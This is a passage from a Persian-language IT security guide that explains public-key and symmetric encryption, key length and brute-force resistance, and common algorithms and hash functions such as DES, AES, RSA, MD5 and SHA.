كليـد  . اي به سري بودن پيام يا كليد رمزگشايي وارد شود در دسـترس همگـان قـرار داشـته باشـد                   تواند بدون اينكه خدشه   چون مي 
  .شودناميده مي" كليد رمز سري"يا " صوصيكليد رمز خ"رمزگشايي پيام نيز معمولاً 

را تا حدود   الگوريتمهاي کليد رمز متقارن     لات  ك، مش رمزگشاييليدهاي رمزگذاري و    كردن  كليد رمز همگاني با مجزا      كالگوريتمهاي  
 را براي افراد آسان     شدهار ارسال پيام رمزگذاري   كليد رمز همگاني بطور نسبي      كتئوري، فناوري   از ديد مبتني بر      .نندكزيادي حل مي  

عمـومي يـا    فهرسـتهاي   ليـدهاي همگـاني خـود را در         كننـد   كشـده دريافـت     ه مايلند پيامهاي رمزگـذاري    ك طبيعتاً افرادي    .ندكمي
ه بايـد  ك ـاري ك تنها ،شده پيام رمزگذاريكآنگاه براي ارسال ي . نند تا به سادگي قابل دسترسي باشد      كراهنما منتشر مي  هاي   کتابچه

 سيـستم   كي ـدر   .، و سپس برايش ارسـال نمـاييم       نيمك ، پيام را رمزگذاري   بيابيمليد رمز همگاني فرد را      كه  ك اين است يم  انجام ده 
. ليد رمز خـصوصي متنـاظر را در اختيـار دارد    كه  كسي است   كند  ك رمزگشاييتواند پيام را    ه مي كسي  كليد رمز همگاني تنها     كخوب  
  .ليد رمز خصوصي خودمان استكنيم كر دستگاه خود ذخيره  دلازم استه ك بر اين تنها چيزي علاوه

 ي امـضا  ك ديجيتـالي ماننـد ي ـ     ي امـضا  كي. کاربرد دارد  ديجيتالي   يليد رمز همگاني همچنين براي پديد آوردن امضا       كرمزنگاري  
 اي را امـض ك ـترونيك الة نام ـك ي ـتوانيد مي اغذيكهاي  مثل نامه در اينجا نيز    . ار رود ك هويت ب  كتواند براي نشان دادن ي    حقيقي مي 

- صورتحساب موافقنامه فروش مـي     ك ي يمانند امضا و   ؛به ديگران اطمينان دهيد   شدن آن توسط خود     نوشتهبدين ترتيب از    نيد و   ك
در . ي را سـفارش داده يـا بفروشـيد        يالاك ـه مايليـد    ك ـنيد تا نشان دهيد     كامضا  نيز بصورت الكترونيكي     سند معاملاتي را     ك ي توانيد
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توانند با اسـتفاده از     لذا سايرين مي  و  شود؛   ديجيتالي استفاده مي   يليد رمز خصوصي براي انجام امضا     كليد رمز همگاني، از     كفناوري  
  .ليد رمز همگاني متناظر از صحت امضا مطمئن شوندك

ليد رمز همگـاني بـه      ك رمزگشاييدر عمل، رمزگذاري و     . ليد رمز همگاني از نظر محاسباتي پرهزينه هستند       كمتأسفانه الگوريتمهاي   
ليد رمز همگاني و نيـز      كه از مزاياي    كبراي اين  .ليد رمز متقارن معادل خود نياز دارد      ك برابر الگوريتم رمزگذاري     ۱۰۰۰اي  قدرت رايانه 

 ـ                   يـب اسـتفاده    ك تر كاز سرعت سيستمهاي رمزگذاري متقارن استفاده شده باشد، بيشتر سيستمهاي رمزگـذاري جديـد در واقـع از ي
  :ندنك مي

  دوگانهخصوصي / سيستم رمزنگاري عمومي 
ه ك ـشـود،    اسـتفاده مـي    ٧٨جلسهليد رمز تصادفي    ك كندتر است براي تبادل ي    كه  كليد رمز همگاني    كدر اين سيستمها از رمزگذاري      

ار ك ـره واحد رمزگـذاري ب     دو كتنها براي ي  " ليد رمز دوره  ك "كي(گيرد  ليد رمز خصوصي متقارن مورد استفاده قرار مي       كبعنوان مبناي الگوريتم    
 ـهاي همگاني از نـوع سيـستمهاي دوگ  هاي عملي رمزنگاريسازي پيادهةتقريباً هم .)شودنار گذاشته ميكرود و پس از آن مي  .ه هـستند ان
 ايـن   .شـود ليد رمز همگـاني از آنهـا اسـتفاده مـي          كه تقريباً هميشه با رمزنگاري      ك خاصي از توابع وجود دارند       ة دست هكته آخر اين  كن

  :شودليد رمز استفاده ميك فايل يا كاز ي" اثر انگشت"ه از آنها براي ايجاد كالگوريتمها اصالتاً الگوريتمهاي رمزگذاري نيستند، بل

  پيام توابع خلاصه
شـود   مقدار خلاصه به نحوي محاسبه مـي       .ندك الگوي به ظاهر تصادفي از بيتها براي هر ورودي توليد مي           كپيام ي  تابع خلاصه  كي
اثر انگشت  "پيامها غالباً   خلاصه. انپذير نباشد كند از نظر محاسباتي ام    كرا توليد   مورد نظر    ةخلاص كيه دقيقاً   ك ورودي   كه يافتن ي  ك

هـا را   پيام داده هاي اصلي فايل، خلاصه   دهند، به جاي داده    ديجيتالي انجام مي   يه امضا كي  ي بيشتر سيستمها  .شوندناميده مي " فايلها
  .نندكي ميرمزگذار

  هاي متقارن قدرت رمزنگاري الگوريتم

ها چندان خـوب عمـل      بعضي سيستمها از نظر حفاظت از داده      . ديگر برابر نيستند  كالگوريتمهاي رمزگذاري مختلف از نظر قدرت با ي       
گوريتمها حتي در مقابـل   بعضي ديگر از اين ال   . شوند رمزگشاييليد لازم   كدهند اطلاعات رمزشده بدون دانستن      نند و اجازه مي   كنمي

ام بـه   كاسـتح .  نـام دارد   ٧٩امكاستح سيستم رمزنگاري در مقابل حمله       كقابليت حفاظت ي  . ها هم بسيار مقاوم هستند    قويترين حمله 
  :عوامل زيادي بستگي دارد از جمله

 ؛ليد رمزكي بودن ّسر •
ردن يـا حـدس زدن      كپيدا  معمولاً   .)د رمز ليكجستجوي  (ن  كليدهاي مم ك ةان آزمايش هم  كليد يا ام  كان حدس   كل بودن ام  كمش •

 لتر است؛كتر مشليدهاي رمز طولانيك
 ؛)ستن الگوريتمكش(ليد رمزگذاري كردن الگوريتم رمزگذاري بدون دانستن كوس كدشوار بودن مع •
نتر ليـد رمزگـشايي آسـا     كشده بدون دانستن    گذاري فايل رمز  كيباعث شوند   ه  ك يديگرشرايط  وجود دربهاي مخفي، يا     عدم   •

 ي شود؛يرمزگشا
شـود   مي رمزگشاييه بدانيد چگونه بخشي از آن       كامل رمزگذاري شده، درصورتي   كه بطور   ك پيام   ك ي رمزگشاييناممکن بودن    •

 ؛ و)شود ناميده مي٨٠ شناخته شدهةحمله متن ساده ك(
 سيـستم  كشـده در ي ـ  پيامهاي رمزةن است اگر همك مهاجم به آن خصوصيات، مثلاً مم      كو دانش ي  " متن ساده "خصوصيات   •

 .پذير باشدشروع شود يا خاتمه يابد، آن سيستم نسبت به حمله آسيب" سادهمتن "ةشد قطعه شناختهكرمزنگاري با ي

                                                                                                                                            
78  Session Random Key 
79  Strength 
80  Known Plaintext Attack 

https://telegram.me/karnil
www.karnil.com


 راهنماي امنيت فناوري اطلاعات ٢٩٤ 

ر ك ـشود، مبت  الگوريتم رمزگذاري جديد مطرح مي     كوقتي ي . شوده تنها رد مي   كشود؛ بل ام رمزنگاري اثبات نمي   كلي استح كدر حالت   
ه راهـي بـراي     ك ـر معتقـد اسـت      ك يعني مبت  -امل است   كامنيت  نندة  كتضمينه الگوريتم   كه بر اين باور است      الگوريتم تقريباً هميش  

 نقـص شـناخته شـده       كه اگر الگوريتم داراي ي ـ    كليد رمز مربوطه وجود ندارد، چرا       كبدون در اختيار داشتن     رمزشده   پيام   رمزگشايي
  )ندكيا حداقل با خيال آسوده آنرا پيشنهاد نمي(ند كد نمير در وحله اول الگوريتم را پيشنهاكباشد، اصولاً مبت

ه الگورتيم در مقابل انـواع خاصـي از حمـلات           كتواند نشان دهد     رياضيدان مي  ك الگوريتم، ي  كام ي كبعنوان بخشي از بررسي استح    
 حمـلات  ةه نـسبت بـه هم ـ    ك ـوريتمي  متأسفانه حتي الگ  . اند مقاوم است  ار رفته كه قبلاً براي نشان دادن نقايص ساير الگوريتمها ب        ك

  .آيندبوجود ميحملات جديد انواع طور متوالي ه بك باشد هم الزاماً ايمن نيست، چراشناخته شده مقاوم

ه امنيت بسيار زيـادتري از الگوريتمهـاي        كه الگوريتمهاي رمزگذاري متقارن     كنند  كهر از چندگاه برخي از افراد يا مؤسسات ادعا مي         
 ـ     كاز آنجا   . ردكزياد استقبال   بايد از اين ادعاها     ن عموماً   .اندردهكاع  موجود دارند ابد   اي در مقابـل     شـناخته شـده    ةه امـروزه هـيچ حمل

ه از الگوريتمهاي رمزگذاري جديـد      كه بطور گسترده مورد استفاده باشد، دليلي وجود ندارد          كشده وجود ندارد    الگوريتمهاي رمزگذاري 
  .ردك استفاده -ن است داراي نقايص پنهان باشند كه ممكي ي الگوريتمها-نشده و آزمون

  ليد متقارنكليد در الگوريتمهاي كطول 

تواند پيـام را بـا هـر       نند، زيرا مهاجم مي   كدار  شده را به ميزان زيادي خدشه     توانند امنيت پيامهاي رمزگذاري   م مي كليدهاي با طول    ك
ننـد،  كمـي فـراهم مـي     كوتـاه ايمنـي نـسبتاً       كليدهاي  كه  كاما ضمن اين  . دند تا محتواي پيام استخراج شو     ك رمزگشايين  كليد مم ك
 هرچنـد   يعنـي  .نماينـد ليدهاي بـا طـول متعـادل فـراهم نمـي          كليدهاي بسيار طولاني هم در عمل لزوماً امنيت بسيار بيشتري از            ك
 يـا حتـي     ۱۶۸ليـد   ك كن زيادتري از ي ـ    بيتي امنيت چنا   ۲۵۶ليد رمز   ك ك بيتي امنيت بسيار زيادي ندارند، ي      ۵۶ تا   ۴۰ليدهاي رمز   ك

  .ندك بيتي فراهم نمي۱۲۸

 پيـام انجـام     رمزگـشايي ليد رمز را نداريد، آسانترين روش براي        ك نسخه از    كنيد و ي  ك رمزگشايي پيام را    كه ي كنيد  كاگر تلاش مي  
ن را آزمـايش  ك ـليـد مم ك شوند، چون هرناميده مي" ليدكحملات جستجوي " اين حملات همچنين . استbrute force ة حملكي

ليد بطور تصادفي انتخاب شـود، آنگـاه مهـاجم بطـور            ك اگر   .ند يا نه  ك مي رمزگشاييليد پيام را    كآن  آيا  ه  كنند تا مشخص شود     كمي
  . واقعي آزمايش نمايدرمزگشاييليد كردن كن را براي پيدا كليدهاي رمز ممك ةه نصف همكمتوسط نياز دارد 

 در . باشد ۱ يا   ۰تواند    ميدودويي   هرعدد   .شود نمايش داده مي   ٨١دودوييارقام   رشته   كل رايانه بصورت ي   ليد رمزنگاري در داخ   ك كي
 كچه تعداد بيت براي سـاختن ي ـ      " لذا اين مسئله که   . ندكليدها را دوبرابر مي   كليد رمز اضافه شود تعداد      كه به   كلي، هر بيت    كحالت  

نـد و شـما بخواهيـد چـه         كليدهاي مختلف را آزمـايش      كاجم با چه سرعتي بتواند      ه مه ك بستگي به اين دارد      "افي است كليد ايمن   ك
 كتوانـد ي ـ   بيتـي مـي  ۴۰ليد ك كند، آنگاه يكدر هر ثانيه آزمايش را ليد ك ۱۰اگر مهاجم بتواند . مدتي اطلاعاتتان را ايمن نگهداريد 

افزارهـاي   افـزار و نـرم     و بـا سـخت     -ليـد   كند چندين هزار    توانهاي امروزي مي  البته رايانه .  سال حفاظت نمايد   ۳۴۸۴پيام را بيش از     
 مـشابه روي صـدها يـا    ةتوانـد بـا اجـراي برنام ـ   ليد ميك سرعت جستجوي .نندك را در ثانيه آزمايش  -ليد  كمخصوص، صدها هزار    

يك ميليون كليد در ثانيه   امكان بررسي بيش از     پس با فناوريهاي امروزي     . هزاران رايانه بطور همزمان، بيش از اين هم افزايش يابد         
  .انپذير استكامهم 

 روز  ۱۳ بيتـي را در تنهـا        ۴۰ليدهاي  كتوانيد تمام   نيد، مي كليد رمز را در ثانيه آزمايش       ك ميليون   كه ي كاگر توانايي آنرا داشته باشيد      
ليد ايمن چنـد بيـت      ك، براي   افي نباشد ك بيت به اين روشني براي ايمن نگه داشتن اطلاعات           ۴۰ليد با طول    ك كاگر ي . نيدكبررسي  

 ميليـون سـال   ۳۸ بيتي همچنان مستلزم ۸۰ليدهاي ك ةنيد آزمودن همكليد را در ثانيه آزمايش ك ميليارد كلازم است؟ اگر بتوانيد ي   
وانتمي صدها ميليـون سـال      ك سال و حتي با پيشرفتهاي محاسبات        ۱۰۲۲ بيتي با فناوري امروزي      ۱۲۸ليد  ك كآزمودن ي . خواهد بود 

 غول قرمز آسماني تبديل شود و       ك ميليارد سال آينده قرار است به ي       ۴ه خورشيد ما احتمالاً ظرف      ك با توجه به اين    .از خواهد داشت  ني
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 ك ي ـ-ه استفاده شده وجود ندارد كه هيچگونه ضعف ديگري در الگوريتمي       ك و با فرض اين    -رد  كدر اينصورت زمين را نابود خواهد       
  !افي باشدكاربردهاي رمزنگاري كايد براي اغلب  بيتي ب۱۲۸ليد رمزگذاري ك

 ليد رمز متقارن كرايج هاي الگوريتم

 ة امنيـت رايانـه مـورد اسـتفاد        ةه در زمين ـ  كالگوريتمهايي  برخي از   . شودليد رمز متقارن بسياري استفاده مي     كامروزه از الگوريتمهاي    
  ٨٢.اندگيرند ذيلاً خلاصه شدهزيادي قرار مي

DES   
 در  ANSI اسـتاندارد    ك و بصورت ي   ۱۹۷۷ استاندارد دولت ايالات متحده در سال        كه بعنوان ي  ك ٨٣)DES (رمزگذاري داده استاندارد  

ه بـه چـه     كند و بسته به اين    ك بيتي استفاده مي   ۵۶ليد رمز   ك كه از ي  كاست  بلوکي  ي  گذاررمزالگوريتم   ك ي ، انتخاب شد  ۱۹۸۱سال  
حال اربرد  كوتاهش  كليد  ك الگوريتم قوي است، اما طول       ك ي DES .باشدمختلف مي ردي  كار رود داراي چند حالت عمل     كمنظوري ب 

داران بنيـاد طلايـه    توسـط    DESستن رمـز    ك ـ دسـتگاه بـا هـدف اختـصاصي ش         ك ي ـ ۱۹۹۸ در سال    .رده است كآنرا محدود   حاضر  
شـده را در   پيـام رمزگـذاري  كليد رمـز ي ـ ك نمايش عمومي، ك دلار ساخته شد و در ي  ۲۵۰۰۰ متر از ك ة با هزين  ٨٤)EFF (كترونيكال
  .ردكدنيا پيدا از سراسر اربران رايانه ك روز در برابر چشمان اعضاي ائتلاف كمتر از يك

DES٨٥گانه سه  
DES ه با سه بار استفاده از الگوريتم رمزگذاري         كگانه روشي است     سهDES   ليد رمز را بـه     كه جمعاً طول    كليد رمز متفاوت    كسه  و
در مقيـاس    موسـوم اسـت      "3DES"ه همچنـين بـه      ك اين الگوريتم    .ندكتر مي  را بطور چشمگيري ايمن    DESرساند،   بيت مي  ۱۶۸

ليد ك با دو    DES، دوبار استفاده از     از لحاظ نظري   . استفاده شده است   ٨٦)SSH (منپوستة ا وسيعي توسط مؤسسات مالي و نيز توسط        
نـد  كوشـش مـي  كه در آن مهاجم همزمـان      ك - ٨٧رويارويي در ميان   شناخته شده موسوم به      سادة متن ة حمل كرمز متفاوت، بدليل ي   
 رمزگـشايي  ديگـر   يگانـة DES عمليات كشده را با ي  يگانه رمزگذاري و متن پيام رمزگذاري      DES عمليات   كمتن معمولي را با ي    

  .بخشدرود امنيت را بهبود نميه در ابتدا انتظار آن ميك آنقدر - تطابق پيدا شود كند تا در آن ميان يك

BlowFish   
BlowFish الگـوريتم داراي  .  ابـداع شـد  ٨٨بروس شـنير ه توسط كي رمزگذاري سريع، جمع و جور، و ساده است   ك الگوريتم بلو  ك ي

 بيتـي  ۶۴ بيتـي و   ۳۲ بيت برسـد، و بـراي اجـرا روي پردازشـگرهاي             ۴۴۸تا  تواند  ميثر  كه حدا كليد رمز با طول متغيير است       ك كي
 در BlowFish . مصرف همگاني قرار گرفتـه اسـت    ةالگوريتم از انحصار در آمده و در حوز       درحال حاضر اين     .سازي شده است  بهينه
  .رودار ميك بي مشابهها ايمن و ساير برنامهةپوست

IDEA   
ل  پديـد آمدنـد و در سـا   ٩١زوجيا لاي و ٩٠جيمز ال ماسي در زوريخ سوئيس توسط ٨٩)IDEA (المللي داده الگوريتمهاي رمزگذاري بين  

هـاي  نامـه  براي رمزگذاري فايلهـا و       PGP مشهور   ةند و در برنام   ك بيتي استفاده مي   ۱۲۸ليد  ك ك از ي  IDEA .شدندعمومي   ۱۹۹۰

                                                                                                                                            
 .آمده استانتشارات اوريلي ) Practical Unix & Internet Security ")PUIS" کتاب ۱۷۶ تا ۱۶۹فهرست كاملتري از اين الگوريتمها در صفحات    ۸۲
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حال حاضر ه در ك الگوريتم   يافزار نرم ارسري امتيازات انحص  ك توسط ي  IDEA بيشتر از    ةمتأسفانه استفاد . شودي استفاده مي  كترونيكال
  .در سولوتورن سوئيس قرار دارد محدود شده است Ascom–Tech AGدر اختيار 

RC4   
 راز  كبعنوان ي " RSAهاي  امنيت داده "توسط مؤسسة    توسعه يافت و     ٩٢رولند ريوست  در ابتدا توسط     الگوريتم رمزگذاري جرياني  اين  

رسـد نـسبتاً    بنظر مي  افشا شد و     UseNetاربر گمنام   ك كيبوسيلة   ۱۹۹۴ الگوريتم در سال     .محرمانه تجاري مخفي نگه داشته شد     
  .ندك بيتي استفاده مي۲۰۴۸ تا ۱ليدهاي رمز بين ك از RC4. قوي باشد

Rijndael (AES)  
 مؤسسه ملي استاندارد و فناوري     توسط   ۲۰۰۰تبر سال   كاماه   توسعه يافت و در      ٩٤وينت ريجمن  و   ٩٣يوهان ديمن توسط  الگوريتم  اين  

)NIST(ايالات متحده برگزيده شد    بعنوان استاندارد جديد رمزگذاري پشرفته     ٩٥ . Rijndeal العـاده  سـازي فـوق   رمـزي الگوريتم   ك ي
  .ندك بيت استفاده ۲۵۶ يا ۱۹۲ تا ۱۲۸ليدهاي رمز به طول كتواند از ه ميكسريع و جمع و جور است 

ود، سـاير رمزنگارهـا     ش ـ   الگوريتم منتشر مي   كوقتي ي  .نندكاي بررسي مي  با فرآيندهاي مقايسه  رمزنگارها قدرت الگوريتمهايشان را     
نيـد،  كانـد اعتمـاد ن  ردهك ـ الگوريتم رمزگذاري جديـد ابـداع   كنند يكه ادعا مي كبه افرادي   . گردند يا ضعفهاي آن مي    نقايصبدنبال  

ار دالگوريتمهايشان را خدشه  اعتبار  ار  كه اين كنند شايد به اين دليل است       كار  كار الگوريتمهايشان را آش   كخواهند روش   اگر نمي ه  كچرا
  .استشفافيت امنيت واقعي در چراکه  ، الگوريتم وجود نداردك براي مخفيانه نگهداشتن يدليلي در عمل .ندكمي

 نقـايص ه كند ك ضمانت نمي  برنامهه قطع ك الگوريتم يا ي   كه تنها انتشار يافتن ي    ك اين مسئله حائز اهميت است       كاز طرف ديگر در   
ه ك ـاز آن تا پـيش     ارائه شده بود،     802.11سازي  هكاستاندارد شب مؤسسة  ه توسط   ك WEPالگوريتم رمزگذاري   . آن يافته خواهند شد   

س بـه   كمدت وجود داشته، ولي هـيچ     آن   نقص در تمام     - نقص مهم در الگوريتم آن يافته شود سالها مورد استفاده قرار داشت              كي
 . نقص بگرددكه بخواهد بدنبال يكرده بود كالي برخورد نكاش

Padرفبار مصكهاي ي  

ايـن نـوع الگـوريتم     در .اسـت " بار مصرفك يPad"ستني است، سيستم كه ثابت شده ناشكليد رمز متقارن ك سيستم رمزنگاري   كي
) ه قرار است ارسال شـود كتر از پيامي طولاني(طولاني از بايتهاي تصادفي رشتة   كل از ي  كليد رمز متش  ك كننده ارتباط ي  كطرفهاي برقرار   

ليـد  كپس آن بايت    سشود، و    مي رمزگشاييليد، پيام رمزگذاري و     ك بايت   ك ي ةبا تبديل هر بايت پيام بوسيل     . دگذارن مي كرا به اشترا  
 ـ كشونده است، حتي ي   راركغير ت و  ليد تصادفي   ك چون   .گيردرود و ديگر هيچگاه مورد استفاده قرار نمي       از بين مي    جـستجوي   ة حمل

  .تواند توليد شودن ميكص، هر پيام ممليد خاكه با هر كليد نيز عملي نخواهد بود، چراك

لات معمـول   ك عـلاوه بـر مـش      .نـد كه استفاده از آنها را غيرعملـي مـي        كمحدوديتهاي بسياري دارند     اين دسته الگوريتمها     متأسفانه
وزيـع مقـادير زيـاد      هاي واقعاً تصادفي هميشه ساده نيـست، و ت         توليد مقادير زياد داده    )ليدهاكايمن  نگهداري  و  تبادل  (رمزگذاري متقارن   

 نيازمنـد بـه     مابيش براي پيوندهاي ارتبـاطيِ    ك اين اوصاف اين سيستم      ةبا هم . ساز باشد لكتواند مش ليد نيز مي  كهاي مربوط به    داده
  .شودالعاده زياد استفاده ميامنيت فوق

  ليد رمز همگانيكهاي الگوريتم

متري از آنها مورد استفاده قـرار       كليد رمز متقارن است و تعداد       كريتمهاي  لتر از الگو  كليد رمز همگاني مش   كپديد آوردن الگوريتمهاي    
 ةبا مقايـس   گيرند،هاي رمزگذاري متقارن و نامتقارن اساساً به صورتهاي مختلفي مورد استفاده قرار مي            ليدهاي الگوريتم ك چون   .دارند
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ليـد رمـز همگـاني      كليد در الگوريتمهاي    ك طول   .بردپيرمزنگاري اين الگوريتمها    و قدرت   ام نسبي   كتوان به استح  ليدها نمي كطول  
اي قابـل    بيـت بـراي آينـده      ۱۰۲۴اربران اسـتفاده از طـول       ك ـ بيت است، و البته براي بـسياري از          ۴۰۹۶ و   ۲۰۴۸ تا   ۵۱۲معمولاً از   

  :رده استكليد رمز همگاني متداول امروز را خلاصه كسيستمهاي زير، فهرست . افي استكبيني  پيش

Diffie-Hellman  
 ـ   كي  روش رمزگـذاري و     ك در حقيقـت ي ـ    Diffie-Hellman. ليـدهاي رمزنگـاري ميـان طرفهـاي ارتبـاط         ك ة سيستم براي مبادل

در واقـع دو    . انال ارتباطي همگاني اسـت    ك ك روي ي  كليد خصوصي مشتر  ك ك روش توسعه و تبادل ي     كه ي ك نيست، بل  رمزگشايي
ليـدها  ك تبـديلات رياضـي      .آوردليد پديـد مـي    ك كنند، و آنگاه هر طرف ي     ك مي طرف ارتباط بر سر چند مقدار عددي متداول توافق        

ه هـر دو مقـدار      ك ـه توسـط مهـاجمي      ك ـنـد   كرا محاسبه    ثالث   ٩٦نشستليد  ك كتواند ي آنگاه هر طرف ارتباط مي    و   ،شودمبادله مي 
  .تواند به آساني بدست آيدداند نميرا ميشده  تبادل

DSA/DSS   
 ملي استاندارد و فناوري  ة توسعه يافت و توسط مؤسس     ٩٨آژانس امنيت ملي ايالات متحده     توسط   ٩٧)DSS (تالي ديجي ياستاندارد امضا 

 ١٠٠)DSA ( ديجيتـالي  يالگـوريتم امـضا    بـر اسـاس      DSS.  انتخـاب شـد    ٩٩)FIPS(پردازش اطلاعات   عمومي  استاندارد   كبعنوان ي 
 ۵۱۲ليدهاي با طول بـين  ك فقط DSS FIPSدر شمارد، ولي ليد مجاز ميك هر طولي را براي DSA اگرچه .گذاري شده است پايه
 كتـوان از ي ـ   ار رود، و همچنين مي    كتواند براي امضاي ديجيتالي ب     تنها مي  DSSه گفته شد    ك همانطور   . بيت مجاز هستند   ۱۰۲۴و  

  .ردك براي رمزگذاري هم استفاده DSAسازي نوع پياده

  هاي بيضويمنحني
ه بجاي روش قديمي توابع لگاريتمي، مبتني بر      كليد همگاني هستند    ك  رمزگذاريِ ضوي سيستمهايِ  بي  منحنيِ سيستمهاي رمزنگاريِ 

ه هـيچ الگـوريتم قابـل    ك ـگيـرد  اربرد سيستمهاي منحني بيضوي از اين حقيقت نـشأت مـي         ك مزيت   .باشندمي بيضوي   هايمنحني
وتاه در سيـستمهاي  كليدهاي كبه همين دليل  . است لگاريتمهاي منفصل منحنيهاي بيضوي شناخته نشده   ةاي براي محاسب  محاسبه

ه محاسبات آنها هم بسيار     كاينعلاوه بر   توانند درجه بالائي از محرمانگي و امنيت را به ارمغان بياورند،            رمزنگاري منحني بيضوي مي   
  .دشونسازي پيادهافزاري ارايي بالا بصورت سختكتوانند با هاي بيضوي همچنين مي منحني. سريع است

RSA   
RSA ميلادي توسط سه استاد دانشگاه ۱۹۷۷ه در سال كليد همگاني است   ك سيستم مشهور رمزنگاري     ك ي MIT رولند  به نامهاي
 كتوان براي رمزگـذاري اطلاعـات و هـم بعنـوان مبنـاي ي ـ              هم مي  RSA از   . پديد آمد  ١٠٢لئونارد آدلمن ، و   ١٠١ادي شمير ،  ريوست

 در  .ار رونـد  كتوانند براي اثبات اصالت يا سنديت اطلاعات ديجيتالي ب        امضاهاي ديجيتالي مي  . ردك ديجيتالي استفاده    يسيستم امضا 
  .تواند هر طولي داشته باشدشود مياستفاده مياز آن ه كسازي پيادهاز  يليد رمز بسته به نوعكاين سيستم، 

  پيامتوابع خلاصه

 بيـت طـول   ۲۵۶ تا ۱۲۸ه معمولاً كنند ك عدد بزرگ تبديل ميك به يرا) كوچكبزرگ يا ( فايل كپيام اطلاعات درون يتوابع خلاصه 
  :هستندويژگيهاي زير واجد پيام  بهترين توابع خلاصه.دارد
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  . بيتهاي ورودي تابع استةتأثير همپيام بصورت بالقوه تحتهر بيت خروجي تابع خلاصه  )الف
  .ردن داردك درصد شانس تغيير ۵۰بع ند، هر بيت خروجي تاك بيت مفروض ورودي تابع تغيير كاگر ي  )ب
پيام پيام متناظر آنرا داشته باشيم، از نظر محاسباتي نبايد توانست فايل ديگري با مقدار خلاصه               فايل ورودي و خلاصه    كاگر ي   )ج

  .ردكمشابه پيدا 

 تـابع   كه ي ـ كبراي اين .  نام دارد  ١٠٣يتلاق اين مسئله    .پيام مشابه داشته باشند   توانند مقدار خلاصه  دو فايل متفاوت مي   از لحاظ نظري    
  .ها عملي نباشدردن يا توليد اين تلاقيك از نظر محاسباتي پيدا لازم استپيام ايمن باشد، خلاصه

  :ر شده استك ذيلاً چند نمونه ذ.شودنون از آنها استفاده ميكه هم اكاند پيام بسياري ارائه شدهتوابع خلاصه

MD2    
ريوسـت  ترين تـابع    ايمنپيام  پيام در ميان توابع خلاصه     اين تابع خلاصه   . پديد آمد  رولند ريوست  توسط   ۲،١٠٤ ةپيام شمار خلاصهتابع  

 ۱۲۸ ة خلاص ـ ك ي ـ MD2 .گيـرد  بندرت مورد استفاده قرار مـي      MD2  درنتيجه .گيرداست، اما محاسباتش نيز بيشترين زمان را مي       
  .ندكبيتي توليد مي

MD4   
 ابـداع   MD2 جايگزين سريعتر بـراي      كپيام بعنوان ي   اين الگوريتم خلاصه   . رولند ريوست پديد آمد     هم توسط  "۴ة  پيام شمار خلاصه"

 مـشابهي بـا   MD4ه كه فايلي پيدا شود ك يعني اين احتمال وجود دارد . نقاط ضعف بالقوه دارد    MD4ه  ك متعاقباً نشان داده شد      .شد
 ۱۲۸ليـد  كه جـستجو در فـضاي   كه البته به همان دليل ك( باشد brute force ه نياز به جستجويكند، بدون اينك فايل داده شده توليد كي

  .ندك بيتي توليد مي۱۲۸ ة خلاصكينيز  MD4 .)باشدعملي نميهم  brute forceبيتي عملي نيست، جستجوي 

MD5   
ه بـراي  ك ـرده كاستفاده  هاييكنيكتاز ه ك است MD4 ة، اصلاح شدMD5 . پديد آمدرولند ريوست نيز توسط   " ۵پيام شماره   خلاصه"

ه موجب كشف شد  ك چند نقص در آن      ۱۹۹۶شود، در تابستان     به وفور استفاده مي    MD5از  اگرچه  . اندردن آن طراحي شده   كتر  ايمن
 .دهـد  آرام آرام رواج خود را از دست مـي MD5 درنتيجه .ردك محاسبه    آن ةشدها را بتوان در الگوريتم ضعيف     هائي از تلاقي  شد گونه 

 بيتي  ۱۲۸ خلاصه   كي نيز   MD5. روسافت استفاده شده است   كهويت ماي تصديق   و   SSL در فناوري    SHA-1 و   MD5 هردوي   از
  .ندكتوليد مي

SHA  
 ملـي اسـتاندارد و   ة ديجيتـالي مؤسـس  يو براي استفاده همـراه اسـتاندارد امـضا   باشد  مي MD4، مرتبط با    ١٠٥ ايمن hashالگوريتم  
 كوچك تغيير ك بدون يSHAه كرد ك اعلام SHA ،NISTوتاهي بعد از انتشار كمدت . ه استطراحي شد) NIST's DSS(فناوري 

  .ندك بيتي توليد مي۱۶۰ ة خلاصك يSHA. استفاده مناسب نيستبراي 

SHA-1   
 SHA-1ه آيا اين تغييـرات  ك براي عموم دانسته نيست .رده استكمي تغيير ك SHAنسبت به "  ايمن اصلاح شده  hash"الگوريتم  

 بيتـي توليـد     ۱۶۰ ة خلاص كيهم   SHA-1 .ندكه چنين مي  ك زيادي بر اين باورند      ةند يا نه، اما عد    كتر مي  ايمن SHAرا نسبت به    
  .ندك مي
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SHA-256 ،SHA-384 ،SHA-512   
 ايـن  .انـد  بيتي طراحي شده۱۲۸، و ۱۹۲، ۲۵۶براي استفاده با الگوريتمهاي رمزگذاري بترتيب   بيتي   ۵۱۲، و   hash ۲۵۶  ،۳۸۴توابع  

  . جهت استفاده در استاندارد رمزگذاري پيشرفته پيشنهاد شدند۲۰۰۱ در سال NISTتوابع توسط 

پيـام   بعنوان توابع خلاصهDESي مثل كه از سيستمهاي سنتي رمزگذاري متقارن بلوكان نيز وجود دارد كعلاوه بر اين توابع، اين ام   
سـازي  رمـزي  حالـت  تـابع رمزگـذاري را در   كـافي اسـت  پيـام    بعنوان تابع خلاصه    تابع رمزگذاري  ك براي استفاده از ي    .ردكاستفاده  
 تمـام   .اربرد است اسـتفاده نمائيـد     كتصادفي انتخاب شده و مخصوص اين        ه بطور كليد رمزي   كليد، از   كبعنوان  . نيدك اجرا   ١٠٦بازخور

هاي hashالگوريتمهاي رمزگذاري متقارن    . ستپيام شما شده، خلاصه  داده رمزگذاري  ك آخرين بلو  .نيدكفايل ورودي را رمزگذاري     
  .ر هستندكالذپيام سابقندتر از توابع خلاصهكنند ولي بسيار كعالي توليد مي

د ك ـبـراي پيامتـان     .  در فايلها يا پيامهاي بسيار بـزرگ هـستند         كوچكارسازي تغييرات بسيار    كپيام ابزار قوي براي آش    توابع خلاصه 
MD5    د ك ـ كـافي اسـت   تغييـر يافتـه     ) عمداً يا سهواً  (ه فايل   كنيد  كر مي كاگر ف بعد از مدتي     بگذاريد؛   يناركه  بنيد و آنرا    ك را محاسبه
MD5     نيد و با آن  ك را مجدداً محاسبهMD5 ردند، بـا اطمينـان زيـاد    كاگر با هم مطابقت . رديد مقايسه نمائيدكه بار اول محاسبه ك

  .يافته استه فايل تغيير نكتوانيد فرض را برآن بگذاريد مي

پيامهـا مبنـاي    خلاصه. پيام بدليل ويژگيهايشان بخش مهمي از سيستمهاي رمزنگاري مورد استفاده امروزي نيز هستند            توابع خلاصه 
